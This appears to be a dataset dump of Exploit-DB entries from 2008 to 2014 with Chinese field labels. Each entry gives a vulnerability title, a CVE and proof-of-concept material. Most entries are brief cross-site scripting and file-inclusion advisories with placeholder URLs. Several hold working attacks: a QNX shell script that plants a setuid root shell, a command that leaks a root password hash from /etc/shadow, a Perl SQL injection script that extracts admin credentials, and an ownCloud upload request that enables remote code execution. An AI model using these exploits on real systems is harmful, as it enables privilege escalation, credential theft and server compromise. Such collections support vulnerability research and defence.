QLWD/code_shield huggingface dataset:
标题: Softbiz Image Gallery - 'image_desc.php?latest' Cross-Site Scripting EDB-ID: 32173 CVE: 2008-3511 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30546/info
   
Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
http://www.example.com/image_desc.php?latest=[XSS]
http://www.example.com/image_desc.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/32173
标题: Softbiz Image Gallery - 'adminhome.php?msg' Cross-Site Scripting EDB-ID: 32174 CVE: 2008-3511 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30546/info
    
Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
http://www.example.com/admin/adminhome.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/32174
标题: Softbiz Image Gallery - 'images.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32171 CVE: 2008-3511 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30546/info
 
Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
http://www.example.com/images.php?latest=[XSS]
http://www.example.com/images.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/32171
标题: Chupix CMS Contact Module 0.1 - 'index.php' Multiple Local File Inclusions EDB-ID: 32180 CVE: 2008-3562 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/30564/info

The Contact module for Chupix CMS is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

Contact 0.1.0 is vulnerable; other versions may also be affected. 

http://www.example.com/path/index.php?module=[LFI]
http://www.example.com/path/admin/index.php?module=[LFI] URL: https://www.exploit-db.com/exploits/32180
标题: Softbiz Image Gallery - 'suggest_image.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32172 CVE: 2008-3511 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30546/info
  
Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
  
http://www.example.com/suggest_image.php?latest=[XSS]
http://www.example.com/suggest_image.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/32172
标题: Softbiz Image Gallery - 'config.php?msg' Cross-Site Scripting EDB-ID: 32175 CVE: 2008-3511 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30546/info
     
Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
http://www.example.com/admin/config.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/32175
标题: Softbiz Image Gallery - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32170 CVE: 2008-3511 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30546/info

Softbiz Photo Gallery is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/index.php?latest=[XSS]
http://www.example.com/index.php?msg=[XSS] URL: https://www.exploit-db.com/exploits/32170
标题: Crafty Syntax Live Help 2.14.6 - 'livehelp_js.php' Cross-Site Scripting EDB-ID: 32169 CVE: 2008-3510 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30543/info

Crafty Syntax Live Help (CSLH) is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/help/livehelp_js.php?department=<script>alert(1)</script> URL: https://www.exploit-db.com/exploits/32169
标题: Pluck CMS 4.5.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 32168 CVE: 2008-3574 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30542/info

Pluck is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Pluck 4.5.2 is vulnerable; other versions may also be affected. 

http://www.example.com/data/inc/footer.php?lang_footer=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?pluck_version=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_install22=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?titelkop=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_kop1=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_kop2=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_modules=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_kop4=[Cross Site Scripting]
http://www.example.com/pluck/data/inc/header.php?lang_kop15=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?lang_kop5=[Cross Site Scripting]
http://www.example.com/data/inc/header.php?titelkop=[Cross Site Scripting]
http://www.example.com/data/inc/header2.php?pluck_version=[Cross Site Scripting]
http://www.example.com/data/inc/header2.php?titelkop=[Cross Site Scripting]
http://www.example.com/data/inc/themeinstall.php?lang_theme6=[Cross Site Scripting] URL: https://www.exploit-db.com/exploits/32168
标题: ownCloud 4.0.x/4.5.x - 'upload.php?Filename' Remote Code Execution EDB-ID: 32162 CVE: 2014-2044 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2014-03-10 漏洞利用脚本: Vulnerability title: Remote Code Execution in ownCloud
CVE: CVE-2014-2044
Vendor: ownCloud
Product: ownCloud
Affected version: 4.0.x & 4.5.x
Fixed version: 5.0
Reported by: Alejo Murillo Moya

Details:

A remote code execution has been found and confirmed within ownCloud as
an authenticated user. A successful attack could allow an authenticated
attacker to execute PHP code, which could lead to a full compromise of
the server and associated infrastructure. Please note that only the
Windows versions of ownCloud are affected and that valid credentials are
required.

It is possible to create a custom .htaccess into the user's folder on
Windows version of the application, which will enable PHP execution on
the folder. This vulnerability exists because it is possible to bypass
the internal blacklists using Windows ADS (Alternate Data Streams).

Proof Of Concept:

  POST /owncloud_5.0.14a/owncloud/?app=files&getfile=ajax%2Fupload.php HTTP/1.1
  [...]
  Content-Type: multipart/form-data; boundary=---------------------------21191376031994875607185408411
  Requesttoken: None

  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="MAX_FILE_SIZE" 

  536870912
  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="requesttoken" 

  None
  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="dir" 

  /
  -----------------------------21191376031994875607185408411
  Content-Disposition: form-data; name="files[]"; filename=".htaccess::$DATA" 
  Content-Type: text/plain

  <PUT YOUR TEXT HERE>
  -----------------------------21191376031994875607185408411--


        

Further details at:
https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2014-2044/


Copyright:
Copyright (c) Portcullis Computer Security Limited 2014, All rights
reserved worldwide. Permission is hereby granted for the electronic
redistribution of this information. It is not to be edited or altered in
any way without the express written consent of Portcullis Computer
Security Limited.

Disclaimer:
The information herein contained may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There
are NO warranties, implied or otherwise, with regard to this information
or its use. Any use of this information is at the user's risk. In no
event shall the author/distributor (Portcullis Computer Security
Limited) be held liable for any damages whatsoever arising out of or in
connection with the use or spread of this information. URL: https://www.exploit-db.com/exploits/32162
标题: XAMPP Linux 1.6 - 'ming.php?text' Cross-Site Scripting EDB-ID: 32165 CVE: 2008-3569 类型: REMOTE 平台: LINUX 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30535/info

XAMPP for Linux is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

XAMPP 1.6.7 for Linux is vulnerable; other versions may also be affected. 

http://www.example.com/xampp/ming.php?text=">><<>>"''<script>alert(document.alert)</script> URL: https://www.exploit-db.com/exploits/32165
标题: QNX 6.4.x/6.5.x ifwatchd - Local Privilege Escalation EDB-ID: 32153 CVE: 2014-2533 类型: LOCAL 平台: QNX 发布日期: 2014-03-10 漏洞利用脚本: #!/bin/sh
#
#        QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013
#                         <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# Setuid root ifwatchd watches for addresses added to or deleted from network
# interfaces and calls up/down scripts for them. Any user can launch ifwatchd
# and provide arbitrary up/down scripts. Unfortunately ifwatchd does not drop
# privileges when executing user supplied scripts.
#
# - vulnerable platforms:
# QNX 6.5.0SP1
# QNX 6.5.0
# QNX 6.4.1
#
# - exploit description:
# This exploit creates a fake arrival-script which will be executed as root by
# passing it to the -A parameter of /sbin/ifwatchd. The fake arrival-script
# copies /bin/sh to /tmp/shell and makes it setuid root. Once the setuid shell
# is in place ifwatchd will be killed to drop the user into the root shell.
#
# - example:
# $ uname -a
# QNX localhost 6.5.0 2010/07/09-14:44:03EDT x86pc x86
# $ id
# uid=100(user) gid=100
# $ ./qnx-ifwatchd.sh
# QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013
#
# [-] creating fake arrival-script
# [-] executing ifwatchd, please wait
# Killed
# [-] now executing suid shell
# # id
# uid=100(user) gid=100 euid=0(root)

PATH=/bin:/usr/bin:/sbin

if [ ! -x /sbin/ifwatchd ]; then
 echo "error: cannot execute /sbin/ifwatchd"
 exit 1
fi

echo "QNX 6.4.x/6.5.x ifwatchd local root exploit by cenobyte 2013"
echo
echo "[-] creating fake arrival-script"
cat << _EOF_ > /tmp/0
#!/bin/sh
PATH=/bin:/usr/bin
IFWPID=\$(ps -edaf | grep "ifwatchd -A" | awk '!/grep/ { print \$2 }')
cp /bin/sh /tmp/shell
chown root:root /tmp/shell
chmod 4755 /tmp/shell
rm -f /tmp/0
kill -9 \$IFWPID
exit 0
_EOF_

chmod +x /tmp/0

echo "[-] executing ifwatchd, please wait"
ifwatchd -A /tmp/0 -v lo0 2>&1 >/dev/null
echo "[-] now executing suid shell"
/tmp/shell URL: https://www.exploit-db.com/exploits/32153
标题: XAMPP Linux 1.6 - 'iart.php?text' Cross-Site Scripting EDB-ID: 32166 CVE: 2008-3569 类型: REMOTE 平台: LINUX 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30535/info
 
XAMPP for Linux is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
XAMPP 1.6.7 for Linux is vulnerable; other versions may also be affected. 

http://www.example.com/xampp/iart.php?text=">><<>>"''<script>alert(document.alert)</script> URL: https://www.exploit-db.com/exploits/32166
标题: 8E6 Technologies R3000 - Host Header Internet Filter Security Bypass EDB-ID: 32167 CVE: 2008-3494 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-08-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/30541/info

8e6 Technologies R3000 Internet Filter is prone to a vulnerability that allows attackers to bypass URI filters.

Attackers can exploit this issue by sending specially crafted HTTP request packets for an arbitrary website. Successful exploits allow attackers to view sites that the device is meant to block. This could aid in further attacks.

R3000 Internet Filter 2.0.12.10 is vulnerable; other versions may also be affected.

The following example requests are available:

GET / HTTP/1.0
X-DecoyHost: www.allowed.org
Host: www.blocked.org

GET / HTTP/1.0
X-Decoy: Host: www.allowed.org
Host: www.blocked.org URL: https://www.exploit-db.com/exploits/32167
标题: QNX 6.4.x/6.5.x pppoectl - Information Disclosure EDB-ID: 32156 CVE: 2014-2534 类型: LOCAL 平台: QNX 发布日期: 2014-03-10 漏洞利用脚本: #
#          QNX 6.4.x/6.5.x pppoectl disclose /etc/shadow by cenobyte 2013
#                         <vincitamorpatriae@gmail.com>
#
# - vulnerability description:
# QNX setuid root /sbin/pppoectl allows any user to gain access to privileged
# information such as the root password hash.
#
# The vulnerability exists because of a failure to drop privileges or check the
# permissions and ownership on the file specified as the configuration file.
#
# If a user specifies a file such as /etc/shadow, pppoectl will display the
# first line of the shadow file in the error output.
#
# - vulnerable platforms:
# QNX 6.5.0SP1
# QNX 6.5.0
# QNX 6.4.1

$ id
uid=100(user) gid=100

$ ls -la /etc/shadow
-rw-------  1 root      root             69 Oct 10 16:55 /etc/shadow
$ pppoectl -f /etc/shadow lo0
pppoectl: bad parameter: "root:QSkSGrRQOSLoO:1380296317:0:0" URL: https://www.exploit-db.com/exploits/32156
标题: Meeting Room Booking System (MRBS) 1.2.6 - 'report.php' Cross-Site Scripting EDB-ID: 32148 CVE: 2008-3565 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30531/info
    
MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
    
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
    
MRBS 1.2.6 is vulnerable; other versions may also be affected.
 
http://www.example.com/path/report.php?area=[XSS] URL: https://www.exploit-db.com/exploits/32148
标题: Meeting Room Booking System (MRBS) 1.2.6 - 'help.php' Cross-Site Scripting EDB-ID: 32149 CVE: 2008-3565 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30531/info
     
MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
     
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
     
MRBS 1.2.6 is vulnerable; other versions may also be affected.

http://www.example.com/path/help.php?area=[XSS] URL: https://www.exploit-db.com/exploits/32149
标题: Pcshey Portal - 'kategori.asp' SQL Injection EDB-ID: 32151 CVE: 2008-3495 类型: WEBAPPS 平台: ASP 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30534/info

Pcshey Portal is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

#!/usr/bin/perl
#Coded By U238
#Discovered By U238
#mail : setuid.noexec0x1]at]hotmail.com
#From : Türkiye / Erzincan
#Thnx : The_BekiR - ZeberuS - Fahn - ka0x - Deep Power - Marco Almeida
#Gretz: http://bilisimMimarileri.com
     : http://bilgiguvenligi.gov.tr
    Mesut Timur & Alper Canak

use LWP::Simple;
my $bekir= $ARGV[0];

if(!$ARGV[0]) {

print "\nExploit Options\n";
print "\nUse:perl victim.pl [domain]\n";
exit(0);
}
sleep(2);

print "\n\nPlease Loading&#8230;!$bekir\n\n";

$nrc=q[forum/kategori.asp?kid=26+union+select+0,1,2,parola,4,kullanici,6,7+f
rom+uyeler+where+id=1];
# where+id=2,3
$zeb=get($ARGV[0].$nrc) or die print "dont worked";

print "Exploit Succesful";

print "Connecting..: $ARGV[0]n";
sleep(3);

$zeb=~m/<font face="Tahoma"><strong></strong></font></td>/&& print "admin
hash: $baba";


print "dont username !" if(!$baba);

$zeb=~m/<font face="Tahoma"><strong></strong></font></td>/&& print "pass
!!: $baba";
print "dont pass" if(!$baba); URL: https://www.exploit-db.com/exploits/32151
标题: UNAK-CMS 1.5 - 'connector.php' Local File Inclusion EDB-ID: 32150 CVE: 2008-3568 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30533/info

UNAK-CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability using directory-traversal strings to view local files within the context of the webserver process. Information harvested may aid in further attacks.

UNAK-CMS 1.5.5 is vulnerable; other versions may also be affected.

http://www.example.com/fckeditor/editor/filemanager/browser/default/connectors/php/connector.php?Dirroot=/file.type%00 URL: https://www.exploit-db.com/exploits/32150
标题: Apache Tomcat 6.0.16 - 'HttpServletResponse.sendError()' Cross-Site Scripting EDB-ID: 32138 CVE: 2008-1232 类型: REMOTE 平台: MULTIPLE 发布日期: 2008-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/30496/info

Apache Tomcat is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

The issue affects the following versions:

Tomcat 4.1.0 through 4.1.37
Tomcat 5.5.0 through 5.5.26
Tomcat 6.0.0 through 6.0.16 

<%@page contentType="text/html"%>
<%
~  // some unicode characters, that result in CRLF being printed
~  final String CRLF = "\u010D\u010A";

~  final String payload = CRLF + CRLF + "<script
type='text/javascript'>document.write('Hi, there!')</script><div
style='display:none'>";
~  final String message = "Authorization is required to access " + payload;
~  response.sendError(403, message);
%> URL: https://www.exploit-db.com/exploits/32138
标题: Keld PHP-MySQL News Script 0.7.1 - 'login.php' SQL Injection EDB-ID: 32143 CVE: 2008-3582 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30529/info

Keld PHP-MySQL News Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Keld PHP-MySQL News Script 0.7.1 is vulnerable; other versions may also be affected. 

The following proofs of concept are available:

A. admin' OR 1=1/*
B. fdfds' OR 1=1 limit x/*
C.' AND 1=2 union select 1,2/* URL: https://www.exploit-db.com/exploits/32143
标题: Meeting Room Booking System (MRBS) 1.2.6 - 'search.php' Cross-Site Scripting EDB-ID: 32147 CVE: 2008-3565 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30531/info
   
MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
   
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
   
MRBS 1.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/path/search.php?area=[XSS] URL: https://www.exploit-db.com/exploits/32147
标题: freeForum 1.7 - 'acuparam' Cross-Site Scripting EDB-ID: 32139 CVE: 2008-3566 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-01 漏洞利用脚本: source: https://www.securityfocus.com/bid/30509/info

freeForum is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

freeForum 1.7 is vulnerable; other versions may also be affected.

http://www.example.com/path/?acuparam=>"><ScRiPt>alert(111)</ScRiPt> http://www.example.com/path/index.php/>'><ScRiPt>alert(111)</ScRiPt> http://www.example.com/path/index.php?acuparam=>"><ScRiPt>alert(111)</ScRiPt> URL: https://www.exploit-db.com/exploits/32139
标题: Meeting Room Booking System (MRBS) 1.2.6 - 'day.php' Cross-Site Scripting EDB-ID: 32144 CVE: 2008-3565 类型: WEBAPPS 平台: PHP 发布日期: 2008-08-04 漏洞利用脚本: source: https://www.securityfocus.com/bid/30531/info

MRBS (Meeting Room Booking Software) is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

MRBS 1.2.6 is vulnerable; other versions may also be affected. 

http://www.example.com/path/day.php?area=[XSS] URL: https://www.exploit-db.com/exploits/32144